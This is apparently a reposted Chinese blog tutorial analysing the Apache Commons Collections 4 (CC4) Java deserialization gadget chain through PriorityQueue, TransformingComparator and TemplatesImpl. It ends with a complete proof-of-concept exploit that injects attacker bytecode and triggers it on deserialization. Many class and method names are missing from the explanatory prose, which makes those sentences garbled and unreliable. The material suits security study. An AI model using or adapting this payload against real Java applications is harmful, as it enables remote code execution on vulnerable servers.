安全JAS分析/Java安全_零基础网安入门教程

最新推荐文章于 2025-05-08 17:52:47 发布

程序员六七

最新推荐文章于 2025-05-08 17:52:47 发布

阅读量462

点赞数 5

CC 4.0 BY-SA版权

文章标签：调用链序列

本文链接：https://blog.csdn.net/saystan/article/details/138945096

安全JAS分析/Java安全_零基础网安入门教程

携手创作，共同成长！这是我参与「掘金日新计划 · 8 月更文挑战」的第21天，点击查看活动详情

引子

CC4简单来说就是CC3前半部分和CC2后半部分拼接组成的，对于其利用的限制条件与CC2一致，一样需要在--4.0版本使用，原因是or类在3.1-3.2.1版本中还没有实现接口，无法被反序列化。接下来让我们仔细分析一下。

是一个优先队列，作用是用来排序，重点在于每次排序都要触发传入的比较器的()方法在CC2中，此类用于调用重写的来作为触发入口

中的间接调用了() 而()最终调用了()

我们先看它的()方法

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    // Read in size, and any hidden stuff
    s.defaultReadObject();
    // Read in (and discard) array length
    s.readInt();
    queue = new Object[size];
    // Read in all elements.
    for (int i = 0; i < size; i++)
        queue[i] = s.readObject();
    // Elements are guaranteed to be in "proper order", but the
    // spec has never explained what that might be.
    heapify();
}

重写了该方法并在最后调用了()方法，我们跟进一下：

private void heapify() {
    for (int i = (size >>> 1) - 1; i >= 0; i--)
        siftDown(i, (E) queue[i]);
}

这里的话需要长度等于2才能进入for循环，我们要怎样改变长度呢。

这里用到的是该类的add方法，将指定的元素插入此优先级队列。

()调用了()方法，继续跟进：

private void siftDown(int k, E x) {
    if (comparator != null)
        siftDownUsingComparator(k, x);
    else
        siftDownComparable(k, x);
}

可以看到判断条件

 if (comparator != null)

调用了

siftDownUsingComparator(k, x);

在tor()又调用了 .()。

可以看到该类在CC3的版本中不能反序列化，在CC4的版本中便可以了。

or是一个修饰器，和CC1中的类似。

or里面存在方法，当我们调用时就会调用传入对象的方法具体实现是this.在传入后，会调用#反射链。

问题

1.就像刚才里面所说的

private void heapify() {
    for (int i = (size >>> 1) - 1; i >= 0; i--)
        siftDown(i, (E) queue[i]);
}

我们要进入循环要修改值，通过add方法。

priorityQueue.add(1);
priorityQueue.add(2);

2.的值要大于1

3. != null

4.通过反射来修改值防止在反序列化前调用，就如之前的链一样，我们到利用时再用反射修改参数。

类似这个样子：

Class c=transformingComparator.getClass();
        Field transformField=c.getDeclaredField("transformer");
        transformField.setAccessible(true);
        transformField.set(transformingComparator,chainedTransformer);

我们先放置个反序列化前不会执行这条链的随便一个参数：

TransformingComparator transformingComparator=new TransformingComparator<>(new ConstantTransformer<>(1));

POC

package ysoserial;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.convert.TransformWriteField;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.map.LazyMap;
import org.apache.xalan.xsltc.trax.TrAXFilter;
 
 
import javax.xml.crypto.dsig.Transform;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;
 
public class cc4 {
 
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates=new TemplatesImpl();
        Class tc=templates.getClass();
        Field nameField=tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"XINO");
        Field bytecodesField=tc.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D://tmp/test.class"));
        byte[][] codes={code};
        bytecodesField.set(templates,codes);
 
        Field tfactoryField=tc.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());
 
        InstantiateTransformer instantiateTransformer=new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
 
        //
        Transformer[] transformers=new Transformer[]{
            new ConstantTransformer(TrAXFilter.class),
            instantiateTransformer
        };
 
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
 
        TransformingComparator transformingComparator=new TransformingComparator<>(new ConstantTransformer<>(1));
 
        PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator);
        priorityQueue.add(1);
        priorityQueue.add(2);
 
        Class c=transformingComparator.getClass();
        Field transformField=c.getDeclaredField("transformer");
        transformField.setAccessible(true);
        transformField.set(transformingComparator,chainedTransformer);
 
 
 
        serialize(priorityQueue);
        unserialize("ser.bin");
 
    }
 
    public static void serialize(Object obj) throws Exception{
        ObjectOutputStream oss=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oss.writeObject(obj);
    }
 
    public static void unserialize(Object obj) throws Exception{
        ObjectInputStream oss=new ObjectInputStream(new FileInputStream("ser.bin"));
        oss.readObject();
    }
 
}